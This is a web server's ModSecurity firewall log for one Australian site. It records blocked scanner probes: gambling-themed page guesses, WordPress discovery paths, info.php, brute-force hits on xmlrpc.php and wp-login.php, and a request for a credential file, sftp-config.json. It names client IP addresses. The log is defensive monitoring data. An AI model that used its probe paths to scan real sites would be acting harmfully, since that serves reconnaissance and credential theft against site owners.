[Sun Mar 15 16:50:36.117623 2026] [:error] [pid 42570:tid 42584] [client 145.239.65.226:37410] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "abZy3MIUXZJLmk_gYCPzBgAAAYs"]
[Sun Mar 15 16:50:38.639322 2026] [:error] [pid 45801:tid 45807] [client 145.239.65.226:37418] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "abZy3oaKHL9CTKoVzTAXHgAAAcQ"]
[Sun Mar 15 16:50:41.158042 2026] [:error] [pid 38540:tid 38609] [client 145.239.65.226:37420] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spg%20slot.aspx"] [unique_id "abZy4V8bnHsJ1dE90bJgRgAAAFc"]
[Sun Mar 15 16:50:43.519307 2026] [:error] [pid 38645:tid 38660] [client 145.239.65.226:42448] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/spx%20slot.aspx"] [unique_id "abZy4xFPHtsDUuVrWDZtCQAAAM0"]
[Sun Mar 15 16:50:46.020161 2026] [:error] [pid 50986:tid 50998] [client 145.239.65.226:42454] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "abZy5iknK4c779bcQqGF3AAAAUk"]
[Sun Mar 15 16:50:48.531908 2026] [:error] [pid 45974:tid 45976] [client 145.239.65.226:42466] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/super%20slot.aspx"] [unique_id "abZy6BWn4R6u72SegeipbwAAAgA"]
[Sun Mar 15 16:50:50.871394 2026] [:error] [pid 45974:tid 45981] [client 145.239.65.226:42482] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "abZy6hWn4R6u72SegeipcwAAAgU"]
[Sun Mar 15 16:50:53.395484 2026] [:error] [pid 38645:tid 38669] [client 145.239.65.226:56078] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "abZy7RFPHtsDUuVrWDZtFwAAANY"]
[Sun Mar 15 16:50:55.747518 2026] [:error] [pid 50986:tid 50999] [client 145.239.65.226:56082] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "abZy7yknK4c779bcQqGF9gAAAUo"]
[Sun Mar 15 16:50:58.251985 2026] [:error] [pid 38536:tid 38562] [client 145.239.65.226:56094] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "abZy8vpTEqkVJ0rBEWv9uwAAAAk"]
[Sun Mar 15 16:51:00.615715 2026] [:error] [pid 38645:tid 38669] [client 145.239.65.226:56110] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "abZy9BFPHtsDUuVrWDZtIQAAANY"]
[Sun Mar 15 16:51:03.105707 2026] [:error] [pid 50986:tid 51004] [client 145.239.65.226:49948] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20168.aspx"] [unique_id "abZy9yknK4c779bcQqGGAgAAAU8"]
[Sun Mar 15 16:51:05.603854 2026] [:error] [pid 45801:tid 45821] [client 145.239.65.226:49960] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "abZy-YaKHL9CTKoVzTAXVAAAAdI"]
[Sun Mar 15 16:51:08.102273 2026] [:error] [pid 50986:tid 51007] [client 145.239.65.226:49970] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "abZy_CknK4c779bcQqGGIgAAAVI"]
[Sun Mar 15 16:51:10.593335 2026] [:error] [pid 42570:tid 42584] [client 145.239.65.226:49974] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "abZy_sIUXZJLmk_gYCPzIAAAAYs"]
[Sun Mar 15 16:51:13.114037 2026] [:error] [pid 38645:tid 38657] [client 145.239.65.226:46132] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "abZzARFPHtsDUuVrWDZtOQAAAMo"]
[Sun Mar 15 16:51:15.448833 2026] [:error] [pid 38645:tid 38668] [client 145.239.65.226:46142] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "abZzAxFPHtsDUuVrWDZtPQAAANU"]
[Sun Mar 15 16:51:17.923577 2026] [:error] [pid 38645:tid 38653] [client 145.239.65.226:46148] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "abZzBRFPHtsDUuVrWDZtQQAAAMY"]
[Sun Mar 15 16:51:20.422805 2026] [:error] [pid 38645:tid 38665] [client 145.239.65.226:46162] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "abZzCBFPHtsDUuVrWDZtRwAAANI"]
[Sun Mar 15 16:51:22.760572 2026] [:error] [pid 45974:tid 46000] [client 145.239.65.226:39346] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "abZzChWn4R6u72SegeipkgAAAhg"]
[Sun Mar 15 16:51:25.238791 2026] [:error] [pid 45974:tid 45977] [client 145.239.65.226:39360] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "abZzDRWn4R6u72SegeipnwAAAgE"]
[Sun Mar 15 16:51:27.756932 2026] [:error] [pid 45974:tid 45999] [client 145.239.65.226:39376] [client 145.239.65.226] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "abZzDxWn4R6u72SegeipoQAAAhc"]
[Sun Mar 15 17:19:10.316196 2026] [:error] [pid 38645:tid 38669] [client 152.59.47.149:61393] [client 152.59.47.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 152.59.47.149, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abZ5jhFPHtsDUuVrWDZ0YQAAANY"]
[Sun Mar 15 17:39:01.733421 2026] [:error] [pid 38645:tid 38656] [client 43.157.168.43:36584] [client 43.157.168.43] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abZ-NRFPHtsDUuVrWDZ5MwAAAMk"]
[Sun Mar 15 22:22:33.331102 2026] [:error] [pid 42570:tid 42585] [client 196.191.133.60:65262] [client 196.191.133.60] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 196.191.133.60, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abbAqcIUXZJLmk_gYCMd-QAAAYw"]
[Sun Mar 15 23:16:03.574305 2026] [:error] [pid 38541:tid 38622] [client 18.190.217.12:52669] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abbNM3uOpex8jIO0jt6pigAAAIk"]
[Sun Mar 15 23:16:05.157309 2026] [:error] [pid 45974:tid 45993] [client 18.190.217.12:56644] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abbNNRWn4R6u72SegejmHgAAAhE"]
[Sun Mar 15 23:16:07.371662 2026] [:error] [pid 50986:tid 50993] [client 18.190.217.12:59229] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abbNNyknK4c779bcQqEJ7wAAAUU"]
[Sun Mar 15 23:16:09.515861 2026] [:error] [pid 38540:tid 38606] [client 18.190.217.12:60877] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "abbNOV8bnHsJ1dE90bKCNwAAAFQ"]
[Sun Mar 15 23:25:14.383611 2026] [:error] [pid 38540:tid 38601] [client 136.117.41.182:58533] [client 136.117.41.182] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.117.41.182, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "abbPWl8bnHsJ1dE90bKDAwAAAE8"]
[Sun Mar 15 23:25:14.578516 2026] [:error] [pid 38540:tid 38587] [client 136.117.41.182:58533] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "abbPWl8bnHsJ1dE90bKDBAAAAEE"]
[Sun Mar 15 23:25:15.285294 2026] [:error] [pid 38541:tid 38614] [client 136.117.41.182:56688] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "abbPW3uOpex8jIO0jt6qXwAAAIE"]
[Sun Mar 15 23:25:15.988692 2026] [:error] [pid 9995:tid 10001] [client 136.117.41.182:51741] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "abbPWwa8xkcaSmgTbwiowQAAAQM"]
[Sun Mar 15 23:25:16.693741 2026] [:error] [pid 9995:tid 9999] [client 136.117.41.182:59444] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "abbPXAa8xkcaSmgTbwioxAAAAQE"]
[Sun Mar 15 23:25:17.434892 2026] [:error] [pid 9995:tid 10008] [client 136.117.41.182:51241] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "abbPXQa8xkcaSmgTbwioyQAAAQo"]
[Sun Mar 15 23:25:18.153045 2026] [:error] [pid 38541:tid 38624] [client 136.117.41.182:55295] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "abbPXnuOpex8jIO0jt6qYgAAAIs"]
[Sun Mar 15 23:25:18.866474 2026] [:error] [pid 38540:tid 38610] [client 136.117.41.182:51850] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "abbPXl8bnHsJ1dE90bKDDAAAAFg"]
[Sun Mar 15 23:25:19.613027 2026] [:error] [pid 38645:tid 38660] [client 136.117.41.182:60457] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2018/wp-includes/wlwmanifest.xml"] [unique_id "abbPXxFPHtsDUuVrWDb8kQAAAM0"]
[Sun Mar 15 23:25:20.321335 2026] [:error] [pid 45801:tid 45826] [client 136.117.41.182:65290] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "abbPYIaKHL9CTKoVzTBrWAAAAdc"]
[Sun Mar 15 23:25:21.022948 2026] [:error] [pid 9995:tid 10009] [client 136.117.41.182:56497] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "abbPYQa8xkcaSmgTbwio0AAAAQs"]
[Sun Mar 15 23:25:21.730282 2026] [:error] [pid 38541:tid 38615] [client 136.117.41.182:51360] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "abbPYXuOpex8jIO0jt6qZQAAAII"]
[Sun Mar 15 23:25:22.444607 2026] [:error] [pid 38645:tid 38649] [client 136.117.41.182:53358] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "abbPYhFPHtsDUuVrWDb8mQAAAMI"]
[Sun Mar 15 23:25:23.151168 2026] [:error] [pid 50986:tid 51003] [client 136.117.41.182:53136] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "abbPYyknK4c779bcQqEMOAAAAU4"]
[Sun Mar 15 23:25:23.820768 2026] [:error] [pid 38645:tid 38667] [client 136.117.41.182:59238] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "abbPYxFPHtsDUuVrWDb8oQAAANQ"]
[Sun Mar 15 23:25:24.548207 2026] [:error] [pid 38540:tid 38589] [client 136.117.41.182:52939] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "abbPZF8bnHsJ1dE90bKDDQAAAEM"]
[Sun Mar 15 23:25:25.261679 2026] [:error] [pid 38540:tid 38598] [client 136.117.41.182:56988] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "abbPZV8bnHsJ1dE90bKDDgAAAEw"]
[Sun Mar 15 23:25:25.976475 2026] [:error] [pid 9995:tid 10020] [client 136.117.41.182:61924] [client 136.117.41.182] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "abbPZQa8xkcaSmgTbwio1QAAARY"]
[Mon Mar 16 04:52:04.282052 2026] [:error] [pid 62529:tid 62537] [client 18.190.217.12:50181] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "abcb9D84-luOVYZKK0NVDgAAAMA"]
[Mon Mar 16 04:52:05.902865 2026] [:error] [pid 62529:tid 62546] [client 18.190.217.12:57643] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "abcb9T84-luOVYZKK0NVFgAAAMk"]
[Mon Mar 16 04:52:07.185244 2026] [:error] [pid 62529:tid 62548] [client 18.190.217.12:59323] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "abcb9z84-luOVYZKK0NVGgAAAMs"]
[Mon Mar 16 04:52:08.730545 2026] [:error] [pid 62529:tid 62541] [client 18.190.217.12:60751] [client 18.190.217.12] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/info.php"] [unique_id "abcb-D84-luOVYZKK0NVHwAAAMQ"]
[Mon Mar 16 07:02:27.394470 2026] [:error] [pid 62429:tid 62498] [client 203.188.168.24:29419] [client 203.188.168.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.188.168.24, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abc6g1ewIPukhLCowEHdAQAAAII"]
[Mon Mar 16 07:02:29.289160 2026] [:error] [pid 62428:tid 62487] [client 203.188.168.24:22325] [client 203.188.168.24] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 203.188.168.24, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "abc6harHSRXFZx1-aIHoKwAAAFI"]
[Mon Mar 16 08:23:06.117604 2026] [:error] [pid 52152:tid 52160] [client 103.65.237.124:50562] [client 103.65.237.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/sftp-config.json"] [unique_id "abdNasA6rS_GLRd0NKWQNQAAAQU"]
